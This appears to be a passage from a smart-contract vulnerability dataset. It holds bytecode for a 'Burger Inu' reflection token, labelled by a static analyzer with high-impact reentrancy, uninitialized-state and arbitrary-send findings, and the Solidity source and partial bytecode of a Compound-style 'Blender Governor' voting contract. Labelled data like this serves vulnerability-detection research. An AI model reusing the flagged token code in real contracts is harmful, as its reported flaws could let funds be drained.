6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561255f57600080fd5b5060405190808252806020026020018201604052801561258e5781602001602082028036833780820191505090505b509050308160008151811061259f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561264157600080fd5b505afa158015612655573d6000803e3d6000fd5b505050506040513d602081101561266b57600080fd5b81019080805190602001909291905050508160018151811061268957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611830565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127b4578082015181840152602081019050612799565b505050509050019650505050505050600060405180830381600087803b1580156127dd57600080fd5b505af11580156127f1573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156128275760009050612894565b600082840290508284828161283857fe5b041461288f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d586021913960400191505060405180910390fd5b809150505b92915050565b60006128dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b66565b905092915050565b806128f2576128f1612c2c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129955750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129aa576129a5848484612c6f565b612b27565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a4d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a6257612a5d848484612ecf565b612b26565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b045750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b1957612b1484848461312f565b612b25565b612b24848484613424565b5b5b5b80612b3557612b346135ef565b5b50505050565b6000806000612b48613603565b91509150612b5f818361289a90919063ffffffff16565b9250505090565b60008083118290612c12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bd7578082015181840152602081019050612bbc565b50505050905090810190601f168015612c045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c1e57fe5b049050809150509392505050565b6000600c54148015612c4057506000600d54145b15612c4a57612c6d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c81876138b0565b955095509550955095509550612cdf87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d7486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461396290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e55816139ea565b612e5f8483613b8f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ee1876138b0565b955095509550955095509550612f3f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fd483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461396290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461396290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130b5816139ea565b6130bf8483613b8f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613141876138b0565b95509550955095509550955061319f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061323486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132c983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461396290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461396290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133aa816139ea565b6133b48483613b8f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613436876138b0565b95509550955095509550955061349486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461396290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613575816139ea565b61357f8483613b8f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138655782600260006009848154811061363d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061372457508160036000600984815481106136bc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561374257600a54683635c9adc5dea00000945094505050506138ac565b6137cb600260006009848154811061375657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461391890919063ffffffff16565b925061385660036000600984815481106137e157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361391890919063ffffffff16565b9150808060010191505061361e565b50613884683635c9adc5dea00000600a5461289a90919063ffffffff16565b8210156138a357600a54683635c9adc5dea000009350935050506138ac565b81819350935050505b9091565b60008060008060008060008060006138cd8a600c54600d54613bc9565b92509250925060006138dd612b3b565b905060008060006138f08e878787613c5f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061395a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122eb565b905092915050565b6000808284019050838110156139e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139f4612b3b565b90506000613a0b828461281490919063ffffffff16565b9050613a5f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461396290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b8a57613b4683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461396290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613ba482600a5461391890919063ffffffff16565b600a81905550613bbf81600b5461396290919063ffffffff16565b600b819055505050565b600080600080613bf56064613be7888a61281490919063ffffffff16565b61289a90919063ffffffff16565b90506000613c1f6064613c11888b61281490919063ffffffff16565b61289a90919063ffffffff16565b90506000613c4882613c3a858c61391890919063ffffffff16565b61391890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c78858961281490919063ffffffff16565b90506000613c8f868961281490919063ffffffff16565b90506000613ca6878961281490919063ffffffff16565b90506000613ccf82613cc1858761391890919063ffffffff16565b61391890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737368747470733a2f2f742e6d652f627572676572696e75207c2042757267657220496e75a2646970667358221220221289d4135009e0aade7aebdac027938eb77ed41a7804aab1ddf022b26a94c564736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,818 |
0x8572f6de356cceeb2f0d6a62c9eae61188f1b0f6 | pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
contract Governor {
/// @notice The name of this contract
string public constant name = "Blender Governor";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint256) {
return 16800000e18;
} // 4% of Blnd
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint256) {
return 4200000e18;
} // 1% of Blnd
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint256) {
return 10;
} // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint256) {
return 1;
} // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint256) {
return 40320;
} // ~7 days in blocks (assuming 15s blocks)
/// @notice The address of the Blender Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Blender governance token
BlndInterface public blender;
/// @notice The total number of proposals
uint256 public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint256 id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint256 eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint256[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint256 startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint256 endBlock;
/// @notice Current number of votes in favor of this proposal
uint256 forVotes;
/// @notice Current number of votes in opposition to this proposal
uint256 againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping(address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping(uint256 => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping(address => uint256) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256(
"Ballot(uint256 proposalId,bool support)"
);
/// @notice An event emitted when a new proposal is created
event ProposalCreated(
uint256 id,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(
address voter,
uint256 proposalId,
bool support,
uint256 votes
);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
constructor(address timelock_, address blender_) public {
timelock = TimelockInterface(timelock_);
blender = BlndInterface(blender_);
}
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public returns (uint256) {
require(
blender.getPriorVotes(msg.sender, _sub256(block.number, 1)) >
proposalThreshold(),
"Governor::propose: proposer votes below proposal threshold"
);
require(
targets.length == values.length &&
targets.length == signatures.length &&
targets.length == calldatas.length,
"Governor::propose: proposal function information arity mismatch"
);
require(targets.length != 0, "Governor::propose: must provide actions");
require(
targets.length <= proposalMaxOperations(),
"Governor::propose: too many actions"
);
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(
latestProposalId
);
require(
proposersLatestProposalState != ProposalState.Active,
"Governor::propose: one live proposal per proposer, found an already active proposal"
);
require(
proposersLatestProposalState != ProposalState.Pending,
"Governor::propose: one live proposal per proposer, found an already pending proposal"
);
}
uint256 startBlock = _add256(block.number, votingDelay());
uint256 endBlock = _add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(
newProposal.id,
msg.sender,
targets,
values,
signatures,
calldatas,
startBlock,
endBlock,
description
);
return newProposal.id;
}
function queue(uint256 proposalId) public {
require(
state(proposalId) == ProposalState.Succeeded,
"Governor::queue: proposal can only be queued if it is succeeded"
);
Proposal storage proposal = proposals[proposalId];
uint256 eta = _add256(block.timestamp, timelock.delay());
for (uint256 i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
eta
);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) internal {
require(
!timelock.queuedTransactions(
keccak256(abi.encode(target, value, signature, data, eta))
),
"Governor::_queueOrRevert: proposal action already queued at eta"
);
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint256 proposalId) public payable {
require(
state(proposalId) == ProposalState.Queued,
"Governor::execute: proposal can only be executed if it is queued"
);
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta
);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint256 proposalId) public {
ProposalState state = state(proposalId);
require(
state != ProposalState.Executed,
"Governor::cancel: cannot cancel executed proposal"
);
Proposal storage proposal = proposals[proposalId];
require(
blender.getPriorVotes(proposal.proposer, _sub256(block.number, 1)) <
proposalThreshold(),
"Governor::cancel: proposer above threshold"
);
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta
);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint256 proposalId)
public
view
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint256 proposalId, address voter)
public
view
returns (Receipt memory)
{
return proposals[proposalId].receipts[voter];
}
function state(uint256 proposalId) public view returns (ProposalState) {
require(
proposalCount >= proposalId && proposalId > 0,
"Governor::state: invalid proposal id"
);
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (
proposal.forVotes <= proposal.againstVotes ||
proposal.forVotes < quorumVotes()
) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (
block.timestamp >= _add256(proposal.eta, timelock.GRACE_PERIOD())
) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint256 proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(
uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s
) public {
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
_getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(BALLOT_TYPEHASH, proposalId, support)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, structHash)
);
address signatory = ecrecover(digest, v, r, s);
require(
signatory != address(0),
"Governor::castVoteBySig: invalid signature"
);
return _castVote(signatory, proposalId, support);
}
function _castVote(
address voter,
uint256 proposalId,
bool support
) internal {
require(
state(proposalId) == ProposalState.Active,
"Governor::_castVote: voting is closed"
);
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(
receipt.hasVoted == false,
"Governor::_castVote: voter already voted"
);
uint96 votes = blender.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = _add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = _add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function _add256(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function _sub256(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "subtraction underflow");
return a - b;
}
function _getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint256);
function GRACE_PERIOD() external view returns (uint256);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external returns (bytes32);
function cancelTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external;
function executeTransaction(
address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta
) external payable returns (bytes memory);
}
interface BlndInterface {
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint96);
} | 0x6080604052600436106101355760003560e01c806340e58ee5116100ab578063da35c6641161006f578063da35c6641461033b578063da95691a14610350578063ddf0b00914610370578063deaaa7cc14610390578063e23a9a52146103a5578063fe0d94c1146103d257610135565b806340e58ee5146102bc5780634634c61f146102dc5780637bdbe4d0146102fc578063b58131b014610311578063d33219b41461032657610135565b806320606b70116100fd57806320606b70146101fe57806324bc1a64146102135780632e0f691414610228578063328dd9821461024a5780633932abb11461027a5780633e4f49e61461028f57610135565b8063013cf08b1461013a57806302a251a31461017857806306fdde031461019a57806315373e3d146101bc57806317977c61146101de575b600080fd5b34801561014657600080fd5b5061015a61015536600461207c565b6103e5565b60405161016f99989796959493929190612f05565b60405180910390f35b34801561018457600080fd5b5061018d61043e565b60405161016f9190612c72565b3480156101a657600080fd5b506101af610445565b60405161016f9190612d2e565b3480156101c857600080fd5b506101dc6101d73660046120d4565b610471565b005b3480156101ea57600080fd5b5061018d6101f9366004611ef9565b610480565b34801561020a57600080fd5b5061018d610492565b34801561021f57600080fd5b5061018d6104a9565b34801561023457600080fd5b5061023d6104b8565b60405161016f9190612d12565b34801561025657600080fd5b5061026a61026536600461207c565b6104c7565b60405161016f9493929190612c25565b34801561028657600080fd5b5061018d610756565b34801561029b57600080fd5b506102af6102aa36600461207c565b61075b565b60405161016f9190612d20565b3480156102c857600080fd5b506101dc6102d736600461207c565b6108e6565b3480156102e857600080fd5b506101dc6102f7366004612104565b610b3a565b34801561030857600080fd5b5061018d610cca565b34801561031d57600080fd5b5061018d610ccf565b34801561033257600080fd5b5061023d610cde565b34801561034757600080fd5b5061018d610ced565b34801561035c57600080fd5b5061018d61036b366004611f1f565b610cf3565b34801561037c57600080fd5b506101dc61038b36600461207c565b611115565b34801561039c57600080fd5b5061018d611383565b3480156103b157600080fd5b506103c56103c036600461209a565b61138f565b60405161016f9190612e4f565b6101dc6103e036600461207c565b6113fe565b6003602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b619d805b90565b6040518060400160405280601081526020016f213632b73232b91023b7bb32b93737b960811b81525081565b61047c3383836115c3565b5050565b60046020526000908152604090205481565b60405161049e90612b16565b604051809103902081565b6a0de589d32bd931c400000090565b6001546001600160a01b031681565b6060806060806000600360008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561054957602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161052b575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561059b57602002820191906000526020600020905b815481526020019060010190808311610587575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561066e5760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561065a5780601f1061062f5761010080835404028352916020019161065a565b820191906000526020600020905b81548152906001019060200180831161063d57829003601f168201915b5050505050815260200190600101906105c3565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107405760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561072c5780601f106107015761010080835404028352916020019161072c565b820191906000526020600020905b81548152906001019060200180831161070f57829003601f168201915b505050505081526020019060010190610695565b5050505090509450945094509450509193509193565b600190565b6000816002541015801561076f5750600082115b6107945760405162461bcd60e51b815260040161078b90612d9f565b60405180910390fd5b6000828152600360205260409020600b81015460ff16156107b95760029150506108e1565b806007015443116107ce5760009150506108e1565b806008015443116107e35760019150506108e1565b80600a0154816009015411158061080457506107fd6104a9565b8160090154105b156108135760039150506108e1565b60028101546108265760049150506108e1565b600b810154610100900460ff16156108425760079150506108e1565b6002810154600054604080516360d143f160e11b815290516108cb93926001600160a01b03169163c1a287e2916004808301926020929190829003018186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506108c69190810190612029565b61178c565b42106108db5760069150506108e1565b60059150505b919050565b60006108f18261075b565b9050600781600781111561090157fe5b141561091f5760405162461bcd60e51b815260040161078b90612d6f565b6000828152600360205260409020610935610ccf565b60018054838201546001600160a01b039182169263782d6fe1929091169061095e9043906117b8565b6040518363ffffffff1660e01b815260040161097b929190612b47565b60206040518083038186803b15801561099357600080fd5b505afa1580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506109cb919081019061216c565b6001600160601b0316106109f15760405162461bcd60e51b815260040161078b90612dff565b600b8101805460ff1916600117905560005b6003820154811015610afd576000546003830180546001600160a01b039092169163591fcdfe919084908110610a3557fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610a5d57fe5b9060005260206000200154856005018581548110610a7757fe5b90600052602060002001866006018681548110610a9057fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610abf959493929190612be4565b600060405180830381600087803b158015610ad957600080fd5b505af1158015610aed573d6000803e3d6000fd5b505060019092019150610a039050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610b2d9190612c72565b60405180910390a1505050565b6000604051610b4890612b16565b60408051918290038220828201909152601082526f213632b73232b91023b7bb32b93737b960811b6020909201919091527f91e201ef00ad9a3add8ca0089ef61a61c360692b61f2fa93680ba3a54016fd87610ba26117e0565b30604051602001610bb69493929190612c80565b6040516020818303038152906040528051906020012090506000604051610bdc90612b21565b604051908190038120610bf59189908990602001612cb5565b60405160208183030381529060405280519060200120905060008282604051602001610c22929190612ae5565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610c5f9493929190612cdd565b6020604051602081039080840390855afa158015610c81573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610cb45760405162461bcd60e51b815260040161078b90612e3f565b610cbf818a8a6115c3565b505050505050505050565b600a90565b6a03796274caf64c7100000090565b6000546001600160a01b031681565b60025481565b6000610cfd610ccf565b600180546001600160a01b03169063782d6fe1903390610d1e9043906117b8565b6040518363ffffffff1660e01b8152600401610d3b929190612b2c565b60206040518083038186803b158015610d5357600080fd5b505afa158015610d67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610d8b919081019061216c565b6001600160601b031611610db15760405162461bcd60e51b815260040161078b90612d3f565b84518651148015610dc3575083518651145b8015610dd0575082518651145b610dec5760405162461bcd60e51b815260040161078b90612d4f565b8551610e0a5760405162461bcd60e51b815260040161078b90612d7f565b610e12610cca565b86511115610e325760405162461bcd60e51b815260040161078b90612d5f565b336000908152600460205260409020548015610eaf576000610e538261075b565b90506001816007811115610e6357fe5b1415610e815760405162461bcd60e51b815260040161078b90612daf565b6000816007811115610e8f57fe5b1415610ead5760405162461bcd60e51b815260040161078b90612d8f565b505b6000610ebd436108c6610756565b90506000610ecd826108c661043e565b6002805460010190559050610ee0611943565b604051806101a001604052806002548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060036000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190610fc39291906119b8565b5060808201518051610fdf916004840191602090910190611a1d565b5060a08201518051610ffb916005840191602090910190611a64565b5060c08201518051611017916006840191602090910190611abd565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516004600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516110fd99989796959493929190612e5d565b60405180910390a15193505050505b95945050505050565b60046111208261075b565b600781111561112b57fe5b146111485760405162461bcd60e51b815260040161078b90612e2f565b600081815260036020908152604080832083548251630d48571f60e31b815292519194936111a19342936001600160a01b0390931692636a42b8f892600480840193919291829003018186803b15801561088e57600080fd5b905060005b6003830154811015611349576113418360030182815481106111c457fe5b60009182526